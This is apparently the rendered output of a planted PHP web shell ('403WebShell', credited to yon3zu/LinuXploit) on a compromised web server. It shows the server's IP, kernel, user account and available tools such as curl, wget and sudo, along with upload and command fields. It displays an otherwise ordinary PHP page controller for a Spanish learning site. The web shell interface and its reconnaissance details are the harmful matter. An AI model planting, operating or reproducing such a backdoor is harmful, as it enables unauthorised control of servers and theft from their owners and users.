Warning: chmod(): Operation not permitted in /var/www/alexvillarreal/wp-content/plugins/custom-post-type-ui/custom-post-type-ui.php on line 8
403WebShell
403Webshell
Server IP : 74.208.250.37  /  Your IP : 216.73.216.114
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu 6.8.0-124-generic #124-Ubuntu SMP PREEMPT_DYNAMIC Tue May 26 13:00:45 UTC 2026 x86_64
User : miferval ( 1000)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/aprendizajeodisea/app/controller/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/aprendizajeodisea/app/controller/page.php
<?php
/*
 *Controler for static pages
 */

class ControllerPage extends Controller
{
	protected $router;
	protected $registry;
	public function __construct($registry,$router)
    {
	$this->router 		= $router;
	$this->registry 	= $registry;
	$this->content 		= new ModelPage($this->registry);
	$this->soluciones 	= new ModelSoluciones($this->registry);
	$this->odisea 		= new ModelOdisea($this->registry);
	$this->clientes		= new ModelClientes($this->registry);
	}
	public function index(){
		switch ($this->router['page']) {
			case 'contact':
					include APP_VIEWS_ROOT.'/pages/contact.php';
				break;
			case 'about':
					include APP_VIEWS_ROOT.'/pages/about.php';
				break;
			
			default:
				header("HTTP/1.0 404 Not Found");
				include APP_VIEWS_ROOT.'/404.php';
				break;
		}
		
	}
	 public function soluciones(){
	 	$page = $this->content->getPageContent('soluciones')->row;
		//$soluciones_list = $this->soluciones->solucionesList();
	 	include APP_VIEWS_ROOT.'/pages/soluciones.php';
	 }

	 public function retos(){
	 	$page = $this->content->getPageContent('retos')->row;
	 	if(!empty($page['image'])){
	 		include APP_VIEWS_ROOT.'/pages/wellcome_banner.php';	
	 	}
	 	include APP_VIEWS_ROOT.'/pages/retos.php';	
	 }

	 public function como(){
	 	$page = $this->content->getPageContent('como')->row;
	 	if(!empty($page['image'])){
	 		include APP_VIEWS_ROOT.'/pages/wellcome_banner.php';	
	 	}
	 	include APP_VIEWS_ROOT.'/pages/como.php';	
	 }

	 public function odisea(){
	 	$page = $this->content->getPageContent('odisea')->row;
	 	$people_list = $this->odisea->getPeopleList();
	
	 	include APP_VIEWS_ROOT.'/odisea/odisea.php';	
	 }

	 public function clientes(){
	 	$page = $this->content->getPageContent('clientes')->row;
	 	$testimonios = $this->clientes->getContentClientes();
	 	$clientes_list = $this->clientes->getClientes();
	 	/*
	 	if(!empty($page['image'])){
	 		include APP_VIEWS_ROOT.'/pages/wellcome_banner.php';	
	 	}
	 	*/
	 	include APP_VIEWS_ROOT.'/clientes/clientes.php';	
	 }

	public function eventos(){
		if(isset($this->router['id'])){
			$evento = $this->content->getEvento($this->router['id']);
			if($evento->num_rows > 0){
				$item = $evento->row;
				$date = new DateTime($item['fecha']);
				$fecha = $date->format('Y-m-d'); 
				$testimonios = $this->clientes->getTestimonios($item['id']);
				include APP_VIEWS_ROOT.'/eventos/eventos_detalle.php';	
			}
			else{
				header("HTTP/1.0 404 Not Found");
				include APP_VIEWS_ROOT.'/404.php';
			}
		}else{
			$eventos = $this->content->getEventos();
			include APP_VIEWS_ROOT.'/eventos/eventos.php';	
		}
	} 
	 public function encuentro(){
	 	//include APP_VIEWS_ROOT.'/encuentros/2017/index.html';	
	 }
	
}

Youez - 2016 - github.com/yon3zu
LinuXploit